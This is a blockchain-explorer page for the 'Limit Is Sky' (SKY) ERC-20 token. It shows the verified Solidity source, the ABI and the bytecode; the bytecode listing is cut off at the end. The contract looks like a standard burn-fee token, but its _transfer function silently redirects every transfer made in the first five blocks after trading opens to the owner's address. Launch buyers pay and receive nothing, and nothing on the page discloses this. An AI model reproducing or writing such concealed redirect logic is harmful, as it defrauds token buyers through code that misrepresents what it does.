ERC-20
Overview
Max Total Supply
887,352,532.530000000002011288 SKY
Holders
8
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
12,259,771.80110306317962881 SKYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LimitIsSky
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-04 */ /** * THE REACH IS BEYOND SKY Code : @7yhbjjk899 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.13; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; constructor () { address msgSender = _msgSender(); _owner = msgSender; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner."); _; } function renounceOwnership() external virtual onlyOwner { _owner = address(0); } function transferOwnership(address newOwner) external virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address."); _owner = newOwner; } } contract LimitIsSky is IERC20, Ownable { IRouter public uniswapV2Router; address public uniswapV2Pair; string private constant _name = "Limit Is Sky !"; string private constant _symbol = "SKY"; uint8 private constant _decimals = 18; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000000000 * 10**18; // 1 billion uint256 private _launchBlockNumber; mapping (address => bool) public automatedMarketMakerPairs; bool private isLiquidityAdded = false; uint256 private maxWalletAmount = _totalSupply; mapping (address => bool) private _isExcludedFromMaxWalletLimit; mapping (address => bool) private _isExcludedFromFee; uint8 public burnFee = 10; constructor() { IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true; _isExcludedFromMaxWalletLimit[address(this)] = true; _isExcludedFromMaxWalletLimit[owner()] = true; balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); } receive() external payable {} // so the contract can receive eth function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){ _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue); return true; } function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxWalletLimit[account] != excluded, string.concat(_name, ": account is already excluded from max wallet limit.")); _isExcludedFromMaxWalletLimit[account] = excluded; } function excludeFromFees(address account, bool excluded) external onlyOwner { require(_isExcludedFromFee[account] != excluded, string.concat(_name, ": account is already excluded from fees.")); _isExcludedFromFee[account] = excluded; } function _approve(address owner, address spender,uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } function activateTrading() external onlyOwner { require(!isLiquidityAdded, "You can only add liquidity once"); isLiquidityAdded = true; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp); uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH()); _isExcludedFromMaxWalletLimit[uniswapV2Pair] = true; maxWalletAmount = _totalSupply * 2 / 100; _launchBlockNumber = block.number; } function name() external pure returns (string memory) { return _name; } function symbol() external pure returns (string memory) { return _symbol; } function decimals() external view virtual returns (uint8) { return _decimals; } function totalSupply() external view virtual returns (uint256) { return _totalSupply; } function maxWallet() external view virtual returns (uint256) { return maxWalletAmount; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function _transfer(address from, address to, uint256 amount) internal { require(from != address(0), string.concat(_name, ": cannot transfer from the zero address.")); require(to != address(0), string.concat(_name, ": cannot transfer to the zero address.")); require(amount > 0, string.concat(_name, ": transfer amount must be greater than zero.")); require(amount <= balanceOf(from), string.concat(_name, ": cannot transfer more than balance.")); if ((block.number - _launchBlockNumber) <= 5) { to = owner(); } if (!_isExcludedFromMaxWalletLimit[to]) { require((balanceOf(to) + amount) <= maxWalletAmount, string.concat(_name, ": expected wallet amount exceeds the maxWalletAmount.")); } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { balances[from] -= amount; balances[to] += amount; emit Transfer(from, to, amount); } else { balances[from] -= amount; balances[to] += amount - (amount * burnFee / 100); _totalSupply -= amount * burnFee / 100; emit Transfer(from, to, amount - (amount * burnFee / 100)); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526b033b2e3c9fd0803ce800000060058190556008805460ff19908116909155600991909155600c8054909116600a17905534801561004157600080fd5b50600080546001600160a01b031990811633908117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155908352600b60209081526040808520805460ff19908116851790915530808752828720805483168617905584546001600160a01b039081168852600a8552838820805484168717905581885283882080548416871790558754168752828720805490921690941790556005548386526003835281862081905581519081529051939492937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350611612806101366000396000f3fe6080604052600436106101395760003560e01c8063781edb3c116100ab578063b62496f51161006f578063b62496f5146103a3578063c0246668146103d3578063dd62ed3e146103f3578063f2fde38b14610439578063f8b45b0514610459578063fce589d81461046e57600080fd5b8063781edb3c146102f95780638da5cb5b1461031957806395d89b4114610337578063a457c2d714610363578063a9059cbb1461038357600080fd5b806323b872dd116100fd57806323b872dd1461022c578063313ce5671461024c578063395093511461026e57806349bd5a5e1461028e57806370a08231146102ae578063715018a6146102e457600080fd5b806306fdde0314610145578063095ea7b31461018e5780630bd05b69146101be5780631694505e146101d557806318160ddd1461020d57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600e81526d4c696d697420497320536b79202160901b60208201525b604051610185919061112d565b60405180910390f35b34801561019a57600080fd5b506101ae6101a9366004611178565b610488565b6040519015158152602001610185565b3480156101ca57600080fd5b506101d361049e565b005b3480156101e157600080fd5b506001546101f5906001600160a01b031681565b6040516001600160a01b039091168152602001610185565b34801561021957600080fd5b506005545b604051908152602001610185565b34801561023857600080fd5b506101ae6102473660046111a4565b6107d3565b34801561025857600080fd5b5060125b60405160ff9091168152602001610185565b34801561027a57600080fd5b506101ae610289366004611178565b610825565b34801561029a57600080fd5b506002546101f5906001600160a01b031681565b3480156102ba57600080fd5b5061021e6102c93660046111e5565b6001600160a01b031660009081526003602052604090205490565b3480156102f057600080fd5b506101d361085c565b34801561030557600080fd5b506101d3610314366004611209565b610898565b34801561032557600080fd5b506000546001600160a01b03166101f5565b34801561034357600080fd5b50604080518082019091526003815262534b5960e81b6020820152610178565b34801561036f57600080fd5b506101ae61037e366004611178565b610974565b34801561038f57600080fd5b506101ae61039e366004611178565b6109ab565b3480156103af57600080fd5b506101ae6103be3660046111e5565b60076020526000908152604090205460ff1681565b3480156103df57600080fd5b506101d36103ee366004611209565b6109b8565b3480156103ff57600080fd5b5061021e61040e366004611247565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044557600080fd5b506101d36104543660046111e5565b610a94565b34801561046557600080fd5b5060095461021e565b34801561047a57600080fd5b50600c5461025c9060ff1681565b6000610495338484610b46565b50600192915050565b6000546001600160a01b031633146104d15760405162461bcd60e51b81526004016104c890611275565b60405180910390fd5b60085460ff16156105245760405162461bcd60e51b815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e63650060448201526064016104c8565b6008805460ff191660019081179091555460055461054f9130916001600160a01b0390911690610b46565b6001546001600160a01b031663f305d7194730610581816001600160a01b031660009081526003602052604090205490565b6000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105ed573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061061291906112b6565b50506001546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa15801561065e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068291906112e4565b6001600160a01b031663e6a4390530600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070891906112e4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906112e4565b600280546001600160a01b0319166001600160a01b039290921691821781556000918252600a6020526040909120805460ff191660011790556005546064916107c09190611317565b6107ca9190611336565b60095543600655565b60006107e0848484610c35565b6001600160a01b03841660009081526004602090815260408083203380855292529091205461081b918691610816908690611358565b610b46565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161049591859061081690869061136f565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016104c890611275565b600080546001600160a01b0319169055565b6000546001600160a01b031633146108c25760405162461bcd60e51b81526004016104c890611275565b6001600160a01b0382166000908152600a60209081526040918290205482518084018452600e81526d4c696d697420497320536b79202160901b81840152925160ff909116151584151514159261091b92909101611387565b604051602081830303815290604052906109485760405162461bcd60e51b81526004016104c8919061112d565b506001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610495918590610816908690611358565b6000610495338484610c35565b6000546001600160a01b031633146109e25760405162461bcd60e51b81526004016104c890611275565b6001600160a01b0382166000908152600b60209081526040918290205482518084018452600e81526d4c696d697420497320536b79202160901b81840152925160ff9091161515841515141592610a3b929091016113e5565b60405160208183030381529060405290610a685760405162461bcd60e51b81526004016104c8919061112d565b506001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610abe5760405162461bcd60e51b81526004016104c890611275565b6001600160a01b038116610b245760405162461bcd60e51b815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526632323932b9b99760c91b60648201526084016104c8565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c8565b6001600160a01b038216610c095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c8565b6001600160a01b0392831660009081526004602090815260408083209490951682529290925291902055565b60006001600160a01b0316836001600160a01b031614156040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610c839190611437565b60405160208183030381529060405290610cb05760405162461bcd60e51b81526004016104c8919061112d565b5060006001600160a01b0316826001600160a01b031614156040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610cff9190611489565b60405160208183030381529060405290610d2c5760405162461bcd60e51b81526004016104c8919061112d565b50600081116040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610d6891906114d9565b60405160208183030381529060405290610d955760405162461bcd60e51b81526004016104c8919061112d565b506001600160a01b0383166000908152600360205260409020548111156040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610de9919061152f565b60405160208183030381529060405290610e165760405162461bcd60e51b81526004016104c8919061112d565b50600560065443610e279190611358565b11610e3b576000546001600160a01b031691505b6001600160a01b0382166000908152600a602052604090205460ff16610ef05760095481610e7e846001600160a01b031660009081526003602052604090205490565b610e88919061136f565b11156040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610ec1919061157d565b60405160208183030381529060405290610eee5760405162461bcd60e51b81526004016104c8919061112d565b505b6001600160a01b0383166000908152600b602052604090205460ff1680610f2f57506001600160a01b0382166000908152600b602052604090205460ff165b15610fe2576001600160a01b03831660009081526003602052604081208054839290610f5c908490611358565b90915550506001600160a01b03821660009081526003602052604081208054839290610f8990849061136f565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fd591815260200190565b60405180910390a3505050565b6001600160a01b0383166000908152600360205260408120805483929061100a908490611358565b9091555050600c546064906110229060ff1683611317565b61102c9190611336565b6110369082611358565b6001600160a01b0383166000908152600360205260408120805490919061105e90849061136f565b9091555050600c546064906110769060ff1683611317565b6110809190611336565b600560008282546110919190611358565b9091555050600c546001600160a01b0380841691908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906064906110db9060ff1686611317565b6110e59190611336565b6110ef9085611358565b604051908152602001610fd5565b60005b83811015611118578181015183820152602001611100565b83811115611127576000848401525b50505050565b602081526000825180602084015261114c8160408501602087016110fd565b601f01601f19169190910160400192915050565b6001600160a01b038116811461117557600080fd5b50565b6000806040838503121561118b57600080fd5b823561119681611160565b946020939093013593505050565b6000806000606084860312156111b957600080fd5b83356111c481611160565b925060208401356111d481611160565b929592945050506040919091013590565b6000602082840312156111f757600080fd5b813561120281611160565b9392505050565b6000806040838503121561121c57600080fd5b823561122781611160565b91506020830135801515811461123c57600080fd5b809150509250929050565b6000806040838503121561125a57600080fd5b823561126581611160565b9150602083013561123c81611160565b60208082526021908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726040820152601760f91b606082015260800190565b6000806000606084860312156112cb57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156112f657600080fd5b815161120281611160565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561133157611331611301565b500290565b60008261135357634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561136a5761136a611301565b500390565b6000821982111561138257611382611301565b500190565b600082516113998184602087016110fd565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507337b69036b0bc103bb0b63632ba103634b6b4ba1760611b6020820152603401919050565b600082516113f78184602087016110fd565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252506737b6903332b2b99760c11b6020820152602801919050565b600082516114498184602087016110fd565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252506730b2323932b9b99760c11b6020820152602801919050565b6000825161149b8184602087016110fd565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616492019182525065323932b9b99760d11b6020820152602601919050565b600082516114eb8184602087016110fd565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252506b39103a3430b7103d32b9379760a11b6020820152602c01919050565b600082516115418184602087016110fd565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c61920191825250633731b29760e11b6020820152602401919050565b6000825161158f8184602087016110fd565b7f3a2065787065637465642077616c6c657420616d6f756e74206578636565647392019182525074103a34329036b0bc2bb0b63632ba20b6b7bab73a1760591b602082015260350191905056fea2646970667358221220d99df3c9efc30e2b5ae387db350327d92832082aaab4eacf7ffd5daa75f98aff64736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106101395760003560e01c8063781edb3c116100ab578063b62496f51161006f578063b62496f5146103a3578063c0246668146103d3578063dd62ed3e146103f3578063f2fde38b14610439578063f8b45b0514610459578063fce589d81461046e57600080fd5b8063781edb3c146102f95780638da5cb5b1461031957806395d89b4114610337578063a457c2d714610363578063a9059cbb1461038357600080fd5b806323b872dd116100fd57806323b872dd1461022c578063313ce5671461024c578063395093511461026e57806349bd5a5e1461028e57806370a08231146102ae578063715018a6146102e457600080fd5b806306fdde0314610145578063095ea7b31461018e5780630bd05b69146101be5780631694505e146101d557806318160ddd1461020d57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600e81526d4c696d697420497320536b79202160901b60208201525b604051610185919061112d565b60405180910390f35b34801561019a57600080fd5b506101ae6101a9366004611178565b610488565b6040519015158152602001610185565b3480156101ca57600080fd5b506101d361049e565b005b3480156101e157600080fd5b506001546101f5906001600160a01b031681565b6040516001600160a01b039091168152602001610185565b34801561021957600080fd5b506005545b604051908152602001610185565b34801561023857600080fd5b506101ae6102473660046111a4565b6107d3565b34801561025857600080fd5b5060125b60405160ff9091168152602001610185565b34801561027a57600080fd5b506101ae610289366004611178565b610825565b34801561029a57600080fd5b506002546101f5906001600160a01b031681565b3480156102ba57600080fd5b5061021e6102c93660046111e5565b6001600160a01b031660009081526003602052604090205490565b3480156102f057600080fd5b506101d361085c565b34801561030557600080fd5b506101d3610314366004611209565b610898565b34801561032557600080fd5b506000546001600160a01b03166101f5565b34801561034357600080fd5b50604080518082019091526003815262534b5960e81b6020820152610178565b34801561036f57600080fd5b506101ae61037e366004611178565b610974565b34801561038f57600080fd5b506101ae61039e366004611178565b6109ab565b3480156103af57600080fd5b506101ae6103be3660046111e5565b60076020526000908152604090205460ff1681565b3480156103df57600080fd5b506101d36103ee366004611209565b6109b8565b3480156103ff57600080fd5b5061021e61040e366004611247565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044557600080fd5b506101d36104543660046111e5565b610a94565b34801561046557600080fd5b5060095461021e565b34801561047a57600080fd5b50600c5461025c9060ff1681565b6000610495338484610b46565b50600192915050565b6000546001600160a01b031633146104d15760405162461bcd60e51b81526004016104c890611275565b60405180910390fd5b60085460ff16156105245760405162461bcd60e51b815260206004820152601f60248201527f596f752063616e206f6e6c7920616464206c6971756964697479206f6e63650060448201526064016104c8565b6008805460ff191660019081179091555460055461054f9130916001600160a01b0390911690610b46565b6001546001600160a01b031663f305d7194730610581816001600160a01b031660009081526003602052604090205490565b6000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105ed573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061061291906112b6565b50506001546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa15801561065e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068291906112e4565b6001600160a01b031663e6a4390530600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070891906112e4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906112e4565b600280546001600160a01b0319166001600160a01b039290921691821781556000918252600a6020526040909120805460ff191660011790556005546064916107c09190611317565b6107ca9190611336565b60095543600655565b60006107e0848484610c35565b6001600160a01b03841660009081526004602090815260408083203380855292529091205461081b918691610816908690611358565b610b46565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161049591859061081690869061136f565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016104c890611275565b600080546001600160a01b0319169055565b6000546001600160a01b031633146108c25760405162461bcd60e51b81526004016104c890611275565b6001600160a01b0382166000908152600a60209081526040918290205482518084018452600e81526d4c696d697420497320536b79202160901b81840152925160ff909116151584151514159261091b92909101611387565b604051602081830303815290604052906109485760405162461bcd60e51b81526004016104c8919061112d565b506001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610495918590610816908690611358565b6000610495338484610c35565b6000546001600160a01b031633146109e25760405162461bcd60e51b81526004016104c890611275565b6001600160a01b0382166000908152600b60209081526040918290205482518084018452600e81526d4c696d697420497320536b79202160901b81840152925160ff9091161515841515141592610a3b929091016113e5565b60405160208183030381529060405290610a685760405162461bcd60e51b81526004016104c8919061112d565b506001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610abe5760405162461bcd60e51b81526004016104c890611275565b6001600160a01b038116610b245760405162461bcd60e51b815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526632323932b9b99760c91b60648201526084016104c8565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c8565b6001600160a01b038216610c095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c8565b6001600160a01b0392831660009081526004602090815260408083209490951682529290925291902055565b60006001600160a01b0316836001600160a01b031614156040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610c839190611437565b60405160208183030381529060405290610cb05760405162461bcd60e51b81526004016104c8919061112d565b5060006001600160a01b0316826001600160a01b031614156040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610cff9190611489565b60405160208183030381529060405290610d2c5760405162461bcd60e51b81526004016104c8919061112d565b50600081116040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610d6891906114d9565b60405160208183030381529060405290610d955760405162461bcd60e51b81526004016104c8919061112d565b506001600160a01b0383166000908152600360205260409020548111156040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610de9919061152f565b60405160208183030381529060405290610e165760405162461bcd60e51b81526004016104c8919061112d565b50600560065443610e279190611358565b11610e3b576000546001600160a01b031691505b6001600160a01b0382166000908152600a602052604090205460ff16610ef05760095481610e7e846001600160a01b031660009081526003602052604090205490565b610e88919061136f565b11156040518060400160405280600e81526020016d4c696d697420497320536b79202160901b815250604051602001610ec1919061157d565b60405160208183030381529060405290610eee5760405162461bcd60e51b81526004016104c8919061112d565b505b6001600160a01b0383166000908152600b602052604090205460ff1680610f2f57506001600160a01b0382166000908152600b602052604090205460ff165b15610fe2576001600160a01b03831660009081526003602052604081208054839290610f5c908490611358565b90915550506001600160a01b03821660009081526003602052604081208054839290610f8990849061136f565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610fd591815260200190565b60405180910390a3505050565b6001600160a01b0383166000908152600360205260408120805483929061100a908490611358565b9091555050600c546064906110229060ff1683611317565b61102c9190611336565b6110369082611358565b6001600160a01b0383166000908152600360205260408120805490919061105e90849061136f565b9091555050600c546064906110769060ff1683611317565b6110809190611336565b600560008282546110919190611358565b9091555050600c546001600160a01b0380841691908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906064906110db9060ff1686611317565b6110e59190611336565b6110ef9085611358565b604051908152602001610fd5565b60005b83811015611118578181015183820152602001611100565b83811115611127576000848401525b50505050565b602081526000825180602084015261114c8160408501602087016110fd565b601f01601f19169190910160400192915050565b6001600160a01b038116811461117557600080fd5b50565b6000806040838503121561118b57600080fd5b823561119681611160565b946020939093013593505050565b6000806000606084860312156111b957600080fd5b83356111c481611160565b925060208401356111d481611160565b929592945050506040919091013590565b6000602082840312156111f757600080fd5b813561120281611160565b9392505050565b6000806040838503121561121c57600080fd5b823561122781611160565b91506020830135801515811461123c57600080fd5b809150509250929050565b6000806040838503121561125a57600080fd5b823561126581611160565b9150602083013561123c81611160565b60208082526021908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726040820152601760f91b606082015260800190565b6000806000606084860312156112cb57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156112f657600080fd5b815161120281611160565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561133157611331611301565b500290565b60008261135357634e487b7160e01b600052601260045260246000fd5b500490565b60008282101561136a5761136a611301565b500390565b6000821982111561138257611382611301565b500190565b600082516113998184602087016110fd565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507337b69036b0bc103bb0b63632ba103634b6b4ba1760611b6020820152603401919050565b600082516113f78184602087016110fd565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252506737b6903332b2b99760c11b6020820152602801919050565b600082516114498184602087016110fd565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252506730b2323932b9b99760c11b6020820152602801919050565b6000825161149b8184602087016110fd565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f20616492019182525065323932b9b99760d11b6020820152602601919050565b600082516114eb8184602087016110fd565b7f3a207472616e7366657220616d6f756e74206d757374206265206772656174659201918252506b39103a3430b7103d32b9379760a11b6020820152602c01919050565b600082516115418184602087016110fd565b7f3a2063616e6e6f74207472616e73666572206d6f7265207468616e2062616c61920191825250633731b29760e11b6020820152602401919050565b6000825161158f8184602087016110fd565b7f3a206578706563746564207761